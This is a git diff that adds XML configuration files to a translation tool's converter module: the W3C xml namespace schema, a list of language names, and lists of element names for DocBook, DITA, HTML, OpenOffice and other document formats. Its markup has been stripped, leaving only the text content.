100644 index 0000000..904b8f2 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xml/xml.xsd @@ -0,0 +1,135 @@ + + + + + + + See http://www.w3.org/XML/1998/namespace.html and + http://www.w3.org/TR/REC-xml for information about this namespace. + + This schema document describes the XML namespace, in a form + suitable for import by other schema documents. + + Note that local names in this namespace are intended to be defined + only by the World Wide Web Consortium or its subgroups. The + following names are currently defined in this namespace and should + not be used with conflicting semantics by any Working Group, + specification, or document instance: + + base (as an attribute name): denotes an attribute whose value + provides a URI to be used as the base for interpreting any + relative URIs in the scope of the element on which it + appears; its value is inherited. This name is reserved + by virtue of its definition in the XML Base specification. + + id (as an attribute name): denotes an attribute whose value + should be interpreted as if declared to be of type ID. + The xml:id specification is not yet a W3C Recommendation, + but this attribute is included here to facilitate experimentation + with the mechanisms it proposes. Note that it is _not_ included + in the specialAttrs attribute group. + + lang (as an attribute name): denotes an attribute whose value + is a language code for the natural language of the content of + any element; its value is inherited. This name is reserved + by virtue of its definition in the XML specification. + + space (as an attribute name): denotes an attribute whose + value is a keyword indicating what whitespace processing + discipline is intended for the content of the element; its + value is inherited. This name is reserved by virtue of its + definition in the XML specification. + + Father (in any context at all): denotes Jon Bosak, the chair of + the original XML Working Group. This name is reserved by + the following decision of the W3C XML Plenary and + XML Coordination groups: + + In appreciation for his vision, leadership and dedication + the W3C XML Plenary on this 10th day of February, 2000 + reserves for Jon Bosak in perpetuity the XML name + xml:Father + + + + + This schema defines attributes and an attribute group + suitable for use by + schemas wishing to allow xml:base, xml:lang or xml:space attributes + on elements they define. + + To enable this, such a schema must import this schema + for the XML namespace, e.g. as follows: + <schema . . .> + . . . + <import namespace="http://www.w3.org/XML/1998/namespace" + schemaLocation="http://www.w3.org/2001/03/xml.xsd"/> + + Subsequently, qualified reference to any of the attributes + or the group defined below will have the desired effect, e.g. + + <type . . .> + . . . + <attributeGroup ref="xml:specialAttrs"/> + + will define a type which will schema-validate an instance + element with any of those attributes + + + + In keeping with the XML Schema WG's standard versioning + policy, this schema document will persist at + http://www.w3.org/2004/10/xml.xsd. + At the date of issue it can also be found at + http://www.w3.org/2001/xml.xsd. + The schema document at that URI may however change in the future, + in order to remain compatible with the latest version of XML Schema + itself, or with the XML namespace itself. In other words, if the XML + Schema or XML namespaces change, the version of this document at + http://www.w3.org/2001/xml.xsd will change + accordingly; the version at + http://www.w3.org/2004/10/xml.xsd will not change. + + + + + + Attempting to install the relevant ISO 2- and 3-letter + codes as the enumerated possible values is probably never + going to be a realistic possibility. See + RFC 3066 at http://www.ietf.org/rfc/rfc3066.txt and the IANA registry + at http://www.iana.org/assignments/lang-tag-apps.htm for + further information. + + + + + + + + + + + + + + + See http://www.w3.org/TR/xmlbase/ for + information about this attribute. + + + + + + See http://www.w3.org/TR/xml-id/ for + information about this attribute. + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/PreferenceConfig.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/PreferenceConfig.xml new file mode 100644 index 0000000..1bef327 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/PreferenceConfig.xml @@ -0,0 +1,758 @@ + + + + + + + + +Afar +Abkhazian +Avestan +Afrikaans +Akan +Amharic +Aragonese +Arabic +Arabic (U.A.E.) +Arabic (Bahrain) +Arabic (Algeria) +Arabic (Egypt) +Arabic (Iraq) +Arabic (Jordan) +Arabic (Kuwait) +Arabic (Lebanon) +Arabic (Libya) +Arabic (Morocco) +Arabic (Oman) +Arabic (Qatar) +Arabic (Saudi Arabia) +Arabic (Syria) +Arabic (Tunisia) +Arabic (Yemen) +Assamese +Avaric +Aymara +Azerbaijani +Bashkir +Belarusian +Bulgarian +Bihari +Bislama +Bambara +Bengali +Tibetan +Breton +Bosnian +Catalan +Chechen +Chamorro +Corsican +Cree +Czech +Church Slavic; Old Bulgarian +Chuvash +Welsh +Danish +German +German (Austrian) +German (Swiss) +German (Germany) +German (Liechtenstein) +German (Luxembourg) +Divehi +Dzongkha +Ewe +Greek +English +English (Australian) +English (Belize) +English (Canadian) +English (Caribbean) +English (British) +English (Ireland) +English (Jamaica) +English (New Zealand) +English (Trinidad) +English (United States) +English (South Africa) +Esperanto +Spanish +Spanish (Argentina) +Spanish (Bolivia) +Spanish (Chile) +Spanish (Colombia) +Spanish (Costa Rica) +Spanish (Dominican Republic) +Spanish (Ecuador) +Spanish (Spain) +Spanish (Guatemala) +Spanish (Honduras) +Spanish (Mexican) +Spanish (Nicaragua) +Spanish (Panama) +Spanish (Peru) +Spanish (Puerto Rico) +Spanish (Paraguay) +Spanish (El Salvador) +Spanish (Uruguay) +Spanish (Venezuela) +Estonian +Basque +Farsi +Fulah +Finnish +Fijian +Faeroese +French +French (Belgium) +French (Canadian) +French (Swiss) +French (France) +French (Luxembourg) +Frisian +Irish +Gaelic; Scottish Gaelic +Galician +Guarani +Gujarati +Manx +Hausa +Hebrew +Hebrew (Israel) +Hindi +Hiri Motu +Croatian +Haitian; Haitian Creole +Hungarian +Armenian +Herero +Interlingua +Indonesian +Interlingue +Igbo +Sichuan Yi +Inupiaq +Indonesian +Ido +Icelandic +Italian +Italian (Swiss) +Italian (Italy) +Inuktitut +Japanese +Javanese +Georgian +Kongo +Kikuyu; Gikuyu +Kuanyama; Kwanyama +Kazakh +Kalaallisut; Greenlandic +Khmer +Kannada +Korean +Korean (Johab) +Kanuri +Kashmiri +Kurdish +Komi +Cornish +Kirghiz +Latin +Luxembourgish; Letzeburgesch +Ganda +Limburgan; Limburger; Limburgish +Lingala +Lao +Lithuanian +Luba-Katanga +Latvian +Malagasy +Marshallese +Maori +Macedonian +Malayalam +Mongolian +Moldavian +Marathi +Malay +Maltese +Burmese +Nauru +Norwegian BokmÃ¥l +Ndebele, North +Nepali +Ndonga +Dutch +Dutch (Belgium) +Norwegian Nynorsk +Norwegian +Ndebele, South +Navajo; Navaho +Chichewa; Chewa; Nyanja +Occitan; Provençal +Ojibwa +Oromo +Oriya +Ossetian; Ossetic +Panjabi; Punjabi +Pali +Polish +Pushto +Portuguese +Portuguese (Brazilian) +Quechua +Raeto-Romance +Rundi +Romanian +Russian +Kinyarwanda +Sanskrit +Sardinian +Sindhi +Northern Sami +Sango +Sinhala; Sinhalese +Slovak +Slovenian +Samoan +Shona +Somali +Albanian +Serbian +Swati +Sotho, Southern +Sundanese +Swedish +Swedish (Finland) +Swahili +Tamil +Telugu +Tajik +Thai +Tigrinya +Turkmen +Tagalog +Tswana +Tonga +Turkish +Tsonga +Tatar +Twi +Tahitian +Uighur; Uyghur +Ukrainian +Urdu +Uzbek +Venda +Vietnamese +Volapük +Walloon +Wolof +Xhosa +Yiddish +Yoruba +Zhuang; Chuang +Chinese +Chinese (People's Republic) +Chinese (Hong Kong) +Chinese (Singapore) +Chinese (Taiwan) +Zulu +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + ]]> + + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + + + ]]> + + + + + + + + + + + + + + + + + + +]]> + + + + +]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + + + ]]> + + + + + + + + + + + + + + + + + ]]> + + + + ]]> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +]]> + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_Root.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_Root.xml new file mode 100644 index 0000000..b1f4f38 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_Root.xml @@ -0,0 +1,9 @@ + + +Story +title +bold +italic +para +underline + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_Workbook.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_Workbook.xml new file mode 100644 index 0000000..74c31fd --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_Workbook.xml @@ -0,0 +1,4 @@ + + +Data + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_abiword.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_abiword.xml new file mode 100644 index 0000000..700d34f --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_abiword.xml @@ -0,0 +1,8 @@ + + +p +c +br +pbr +cbr + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_article.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_article.xml new file mode 100644 index 0000000..6210f77 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_article.xml @@ -0,0 +1,357 @@ + + +abbrev +abstract +accel +ackno +acronym +action +address +affiliation +alt +answer +appendix +appendixinfo +application +arg +article +articleinfo +artpagenums +attribution +author +authorblurb +authorgroup +authorinitials +beginpage +bibliocoverage +bibliodiv +biblioentry +bibliography +biblioid +bibliomisc +bibliomixed +bibliomset +bibliorelation +biblioset +bibliosource +blockquote +book +bridgehead +callout +calloutlist +caption +caution +chapter +citation +citebiblioid +citerefentry +citetitle +city +classname +classsynopsis +classsynopsisinfo +cmdsynopsis +co +code +col +collab +collabname +colophon +colgroup +command +computeroutput +confdates +confgroup +confnum +confsponsor +conftitle +constant +constraintdef +constructorsynopsis +contractnum +contractsponsor +contrib +copyright +coref +corpauthor +corpcredit +corpname +country +database +date +dedication +destructorsynopsis +edition +editor +email +emphasis +entry +entrytbl +envar +epigraph +equation +errorcode +errorname +errortext +errortype +example +exceptionname +fax +fieldsynopsis +figure +filename +firstname +firstterm +footnote +footnoteref +foreignphrase +formalpara +funcdef +funcparams +funcprototype +funcsynopsis +funcsynopsisinfo +function +glossary +glossdef +glossdiv +glossentry +glosslist +glosssee +glossseealso +glossterm +graphic +graphicco +group +guibutton +guiicon +guilabel +guimenu +guimenuitem +guisubmenu +hardware +highlights +holder +honorific +html:form +important +index +indexdiv +indexentry +indexterm +informalequation +informalexample +informalfigure +informaltable +initializer +inlineequation +inlinegraphic +inlinemediaobject +interface +interfacename +invpartnumber +isbn +issn +issuenum +itemizedlist +jobtitle +keycap +keycode +keycombo +keysym +keyword +keywordset +label +legalnotice +lhs +lineage +lineannotation +link +literal +literallayout +lot +lotentry +manvolnum +markup +medialabel +mediaobject +mediaobjectco +member +menuchoice +methodname +methodparam +methodsynopsis +mml:math +modifier +mousebutton +msg +msgaud +msgentry +msgexplan +msginfo +msglevel +msgmain +msgorig +msgrel +msgset +msgsub +msgtext +nonterminal +note +olink +ooclass +ooexception +oointerface +option +optional +orderedlist +orgdiv +orgname +otheraddr +othercredit +othername +pagenums +para +paramdef +parameter +part +partintro +personblurb +personname +phone +phrase +pob +postcode +preface +printhistory +procedure +production +productionrecap +productionset +productname +productnumber +programlisting +programlistingco +prompt +property +pubdate +publisher +publishername +pubsnumber +qandadiv +qandaentry +qandaset +question +quote +refclass +refdescriptor +refentry +refentrytitle +reference +refmeta +refmiscinfo +refname +refnamediv +refpurpose +refsect1 +refsect2 +refsect3 +refsection +refsynopsisdiv +refsynopsisdivinfo +releaseinfo +remark +replaceable +returnvalue +revdescription +revhistory +revision +revnumber +revremark +rhs +row +sbr +screen +screenco +screenshot +sect1 +sect2 +sect3 +sect4 +sect5 +section +see +seealso +seealsoie +seeie +seg +seglistitem +segmentedlist +segtitle +seriesvolnums +set +setindex +sgmltag +shortaffil +shortcut +sidebar +simpara +simplelist +simplemsgentry +simplesect +state +street +structfield +structname +subject +subjectset +subjectterm +subscript +subtitle +superscript +surname +svg:svg +symbol +synopfragment +synopfragmentref +synopsis +systemitem +table +task +taskprerequisites +taskrelated +tasksummary +td +term +tfoot +th +thead +tip +title +titleabbrev +toc +tocback +tocchap +tocentry +tocfront +toclevel1 +toclevel2 +toclevel3 +toclevel4 +toclevel5 +tocpart +token +tr +trademark +type +ulink +uri +userinput +variablelist +varlistentry +varname +volumenum +warning +wordasword +year + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_book.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_book.xml new file mode 100644 index 0000000..6210f77 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_book.xml @@ -0,0 +1,357 @@ + + +abbrev +abstract +accel +ackno +acronym +action +address +affiliation +alt +answer +appendix +appendixinfo +application +arg +article +articleinfo +artpagenums +attribution +author +authorblurb +authorgroup +authorinitials +beginpage +bibliocoverage +bibliodiv +biblioentry +bibliography +biblioid +bibliomisc +bibliomixed +bibliomset +bibliorelation +biblioset +bibliosource +blockquote +book +bridgehead +callout +calloutlist +caption +caution +chapter +citation +citebiblioid +citerefentry +citetitle +city +classname +classsynopsis +classsynopsisinfo +cmdsynopsis +co +code +col +collab +collabname +colophon +colgroup +command +computeroutput +confdates +confgroup +confnum +confsponsor +conftitle +constant +constraintdef +constructorsynopsis +contractnum +contractsponsor +contrib +copyright +coref +corpauthor +corpcredit +corpname +country +database +date +dedication +destructorsynopsis +edition +editor +email +emphasis +entry +entrytbl +envar +epigraph +equation +errorcode +errorname +errortext +errortype +example +exceptionname +fax +fieldsynopsis +figure +filename +firstname +firstterm +footnote +footnoteref +foreignphrase +formalpara +funcdef +funcparams +funcprototype +funcsynopsis +funcsynopsisinfo +function +glossary +glossdef +glossdiv +glossentry +glosslist +glosssee +glossseealso +glossterm +graphic +graphicco +group +guibutton +guiicon +guilabel +guimenu +guimenuitem +guisubmenu +hardware +highlights +holder +honorific +html:form +important +index +indexdiv +indexentry +indexterm +informalequation +informalexample +informalfigure +informaltable +initializer +inlineequation +inlinegraphic +inlinemediaobject +interface +interfacename +invpartnumber +isbn +issn +issuenum +itemizedlist +jobtitle +keycap +keycode +keycombo +keysym +keyword +keywordset +label +legalnotice +lhs +lineage +lineannotation +link +literal +literallayout +lot +lotentry +manvolnum +markup +medialabel +mediaobject +mediaobjectco +member +menuchoice +methodname +methodparam +methodsynopsis +mml:math +modifier +mousebutton +msg +msgaud +msgentry +msgexplan +msginfo +msglevel +msgmain +msgorig +msgrel +msgset +msgsub +msgtext +nonterminal +note +olink +ooclass +ooexception +oointerface +option +optional +orderedlist +orgdiv +orgname +otheraddr +othercredit +othername +pagenums +para +paramdef +parameter +part +partintro +personblurb +personname +phone +phrase +pob +postcode +preface +printhistory +procedure +production +productionrecap +productionset +productname +productnumber +programlisting +programlistingco +prompt +property +pubdate +publisher +publishername +pubsnumber +qandadiv +qandaentry +qandaset +question +quote +refclass +refdescriptor +refentry +refentrytitle +reference +refmeta +refmiscinfo +refname +refnamediv +refpurpose +refsect1 +refsect2 +refsect3 +refsection +refsynopsisdiv +refsynopsisdivinfo +releaseinfo +remark +replaceable +returnvalue +revdescription +revhistory +revision +revnumber +revremark +rhs +row +sbr +screen +screenco +screenshot +sect1 +sect2 +sect3 +sect4 +sect5 +section +see +seealso +seealsoie +seeie +seg +seglistitem +segmentedlist +segtitle +seriesvolnums +set +setindex +sgmltag +shortaffil +shortcut +sidebar +simpara +simplelist +simplemsgentry +simplesect +state +street +structfield +structname +subject +subjectset +subjectterm +subscript +subtitle +superscript +surname +svg:svg +symbol +synopfragment +synopfragmentref +synopsis +systemitem +table +task +taskprerequisites +taskrelated +tasksummary +td +term +tfoot +th +thead +tip +title +titleabbrev +toc +tocback +tocchap +tocentry +tocfront +toclevel1 +toclevel2 +toclevel3 +toclevel4 +toclevel5 +tocpart +token +tr +trademark +type +ulink +uri +userinput +variablelist +varlistentry +varname +volumenum +warning +wordasword +year + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_chapter.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_chapter.xml new file mode 100644 index 0000000..6210f77 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_chapter.xml @@ -0,0 +1,357 @@ + + +abbrev +abstract +accel +ackno +acronym +action +address +affiliation +alt +answer +appendix +appendixinfo +application +arg +article +articleinfo +artpagenums +attribution +author +authorblurb +authorgroup +authorinitials +beginpage +bibliocoverage +bibliodiv +biblioentry +bibliography +biblioid +bibliomisc +bibliomixed +bibliomset +bibliorelation +biblioset +bibliosource +blockquote +book +bridgehead +callout +calloutlist +caption +caution +chapter +citation +citebiblioid +citerefentry +citetitle +city +classname +classsynopsis +classsynopsisinfo +cmdsynopsis +co +code +col +collab +collabname +colophon +colgroup +command +computeroutput +confdates +confgroup +confnum +confsponsor +conftitle +constant +constraintdef +constructorsynopsis +contractnum +contractsponsor +contrib +copyright +coref +corpauthor +corpcredit +corpname +country +database +date +dedication +destructorsynopsis +edition +editor +email +emphasis +entry +entrytbl +envar +epigraph +equation +errorcode +errorname +errortext +errortype +example +exceptionname +fax +fieldsynopsis +figure +filename +firstname +firstterm +footnote +footnoteref +foreignphrase +formalpara +funcdef +funcparams +funcprototype +funcsynopsis +funcsynopsisinfo +function +glossary +glossdef +glossdiv +glossentry +glosslist +glosssee +glossseealso +glossterm +graphic +graphicco +group +guibutton +guiicon +guilabel +guimenu +guimenuitem +guisubmenu +hardware +highlights +holder +honorific +html:form +important +index +indexdiv +indexentry +indexterm +informalequation +informalexample +informalfigure +informaltable +initializer +inlineequation +inlinegraphic +inlinemediaobject +interface +interfacename +invpartnumber +isbn +issn +issuenum +itemizedlist +jobtitle +keycap +keycode +keycombo +keysym +keyword +keywordset +label +legalnotice +lhs +lineage +lineannotation +link +literal +literallayout +lot +lotentry +manvolnum +markup +medialabel +mediaobject +mediaobjectco +member +menuchoice +methodname +methodparam +methodsynopsis +mml:math +modifier +mousebutton +msg +msgaud +msgentry +msgexplan +msginfo +msglevel +msgmain +msgorig +msgrel +msgset +msgsub +msgtext +nonterminal +note +olink +ooclass +ooexception +oointerface +option +optional +orderedlist +orgdiv +orgname +otheraddr +othercredit +othername +pagenums +para +paramdef +parameter +part +partintro +personblurb +personname +phone +phrase +pob +postcode +preface +printhistory +procedure +production +productionrecap +productionset +productname +productnumber +programlisting +programlistingco +prompt +property +pubdate +publisher +publishername +pubsnumber +qandadiv +qandaentry +qandaset +question +quote +refclass +refdescriptor +refentry +refentrytitle +reference +refmeta +refmiscinfo +refname +refnamediv +refpurpose +refsect1 +refsect2 +refsect3 +refsection +refsynopsisdiv +refsynopsisdivinfo +releaseinfo +remark +replaceable +returnvalue +revdescription +revhistory +revision +revnumber +revremark +rhs +row +sbr +screen +screenco +screenshot +sect1 +sect2 +sect3 +sect4 +sect5 +section +see +seealso +seealsoie +seeie +seg +seglistitem +segmentedlist +segtitle +seriesvolnums +set +setindex +sgmltag +shortaffil +shortcut +sidebar +simpara +simplelist +simplemsgentry +simplesect +state +street +structfield +structname +subject +subjectset +subjectterm +subscript +subtitle +superscript +surname +svg:svg +symbol +synopfragment +synopfragmentref +synopsis +systemitem +table +task +taskprerequisites +taskrelated +tasksummary +td +term +tfoot +th +thead +tip +title +titleabbrev +toc +tocback +tocchap +tocentry +tocfront +toclevel1 +toclevel2 +toclevel3 +toclevel4 +toclevel5 +tocpart +token +tr +trademark +type +ulink +uri +userinput +variablelist +varlistentry +varname +volumenum +warning +wordasword +year + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_concept.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_concept.xml new file mode 100644 index 0000000..c408cbe --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_concept.xml @@ -0,0 +1,125 @@ + + +title +titlealts +navtitle +searchtitle +shortdesc +section +body +example +related-links +refsyn +proptypehd +propvaluehd +propdeschd +proptype +propvalue +propdesc +postreq +prereq +result +context +choice +stepxmp +cmd +info +stepresult +tutorialinfo +chdesc +chdechd +choption +choptionhd +alt +cite +desc +dd +ddhd +dt +dthd +image +keyword +li +lines +lq +note +p +ph +pre +q +sli +xref +thead +stentry +entry +b +i +u +tt +sup +sub +codeph +codeblock +option +kwd +var +parmname +synph +oper +delim +sep +apiname +parml +pt +pd +groupseq +groupchoice +groupcomp +fragref +synnote +repsep +msgph +msgblock +msgnum +cmdname +varname +filepath +userinput +systemoutput +uicontrol +wintitle +menucascade +shortcut +screen +coords +draft-comment +fn +indexterm +indextermref +tm +author +brand +category +component +copyrholder +copyright +copyryear +created +featnum +keywords +platform +prodname +prognum +publisher +revised +series +source +vrm +linkinfo +linktext +itemgroup +state +term +map +topichead + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_dita.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_dita.xml new file mode 100644 index 0000000..c408cbe --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_dita.xml @@ -0,0 +1,125 @@ + + +title +titlealts +navtitle +searchtitle +shortdesc +section +body +example +related-links +refsyn +proptypehd +propvaluehd +propdeschd +proptype +propvalue +propdesc +postreq +prereq +result +context +choice +stepxmp +cmd +info +stepresult +tutorialinfo +chdesc +chdechd +choption +choptionhd +alt +cite +desc +dd +ddhd +dt +dthd +image +keyword +li +lines +lq +note +p +ph +pre +q +sli +xref +thead +stentry +entry +b +i +u +tt +sup +sub +codeph +codeblock +option +kwd +var +parmname +synph +oper +delim +sep +apiname +parml +pt +pd +groupseq +groupchoice +groupcomp +fragref +synnote +repsep +msgph +msgblock +msgnum +cmdname +varname +filepath +userinput +systemoutput +uicontrol +wintitle +menucascade +shortcut +screen +coords +draft-comment +fn +indexterm +indextermref +tm +author +brand +category +component +copyrholder +copyright +copyryear +created +featnum +keywords +platform +prodname +prognum +publisher +revised +series +source +vrm +linkinfo +linktext +itemgroup +state +term +map +topichead + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_doctrans.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_doctrans.xml new file mode 100644 index 0000000..2480544 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_doctrans.xml @@ -0,0 +1,28 @@ + + +title +subtitle +para +code +link +bridgehead +pageheader +leftcontent +rightcontent +pagefooter +emphasis +remark +underline +entry +font +glyph +epigraph +tocentry +form +input +option +textarea +button +doctrans +image + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_docu.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_docu.xml new file mode 100644 index 0000000..e2e8706 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_docu.xml @@ -0,0 +1,4 @@ + + +pcnt + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_hshelp.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_hshelp.xml new file mode 100644 index 0000000..9912b0b --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_hshelp.xml @@ -0,0 +1,3 @@ + + +hshelpbookitemtoc \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_html.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_html.xml new file mode 100644 index 0000000..d867f56 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_html.xml @@ -0,0 +1,28 @@ + + +body +p +br +title +td +dd +div +h1 +h2 +h3 +h4 +h5 +h6 +ol +ul +li +code +param +option +input +meta +a +b +i +u + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_map.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_map.xml new file mode 100644 index 0000000..c408cbe --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_map.xml @@ -0,0 +1,125 @@ + + +title +titlealts +navtitle +searchtitle +shortdesc +section +body +example +related-links +refsyn +proptypehd +propvaluehd +propdeschd +proptype +propvalue +propdesc +postreq +prereq +result +context +choice +stepxmp +cmd +info +stepresult +tutorialinfo +chdesc +chdechd +choption +choptionhd +alt +cite +desc +dd +ddhd +dt +dthd +image +keyword +li +lines +lq +note +p +ph +pre +q +sli +xref +thead +stentry +entry +b +i +u +tt +sup +sub +codeph +codeblock +option +kwd +var +parmname +synph +oper +delim +sep +apiname +parml +pt +pd +groupseq +groupchoice +groupcomp +fragref +synnote +repsep +msgph +msgblock +msgnum +cmdname +varname +filepath +userinput +systemoutput +uicontrol +wintitle +menucascade +shortcut +screen +coords +draft-comment +fn +indexterm +indextermref +tm +author +brand +category +component +copyrholder +copyright +copyryear +created +featnum +keywords +platform +prodname +prognum +publisher +revised +series +source +vrm +linkinfo +linktext +itemgroup +state +term +map +topichead + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_office.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_office.xml new file mode 100644 index 0000000..b44fc9f --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_office.xml @@ -0,0 +1,30 @@ + + + + text:tracked-changes + text:insertion + text:deletion + dc:creator + dc:date + meta:print-date + table:table + table:table-column + table:row + text:h + text:p + dc:language + dc:title + dc:description + meta:keyword + dc:subject + text:unordered-list + text:list-item + office:annotation + text:tab-stop + text:line-break + text:span + text:a + text:page-number + text:index + text:page-count + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_p.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_p.xml new file mode 100644 index 0000000..f9642d6 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_p.xml @@ -0,0 +1,8 @@ + + + + a:t + p:sldLayout + p:notesMaster + p:sldMaster + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_project.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_project.xml new file mode 100644 index 0000000..2480544 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_project.xml @@ -0,0 +1,28 @@ + + +title +subtitle +para +code +link +bridgehead +pageheader +leftcontent +rightcontent +pagefooter +emphasis +remark +underline +entry +font +glyph +epigraph +tocentry +form +input +option +textarea +button +doctrans +image + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_resx.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_resx.xml new file mode 100644 index 0000000..45241aa --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_resx.xml @@ -0,0 +1,5 @@ + + + + translate + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_sect1.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_sect1.xml new file mode 100644 index 0000000..6210f77 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_sect1.xml @@ -0,0 +1,357 @@ + + +abbrev +abstract +accel +ackno +acronym +action +address +affiliation +alt +answer +appendix +appendixinfo +application +arg +article +articleinfo +artpagenums +attribution +author +authorblurb +authorgroup +authorinitials +beginpage +bibliocoverage +bibliodiv +biblioentry +bibliography +biblioid +bibliomisc +bibliomixed +bibliomset +bibliorelation +biblioset +bibliosource +blockquote +book +bridgehead +callout +calloutlist +caption +caution +chapter +citation +citebiblioid +citerefentry +citetitle +city +classname +classsynopsis +classsynopsisinfo +cmdsynopsis +co +code +col +collab +collabname +colophon +colgroup +command +computeroutput +confdates +confgroup 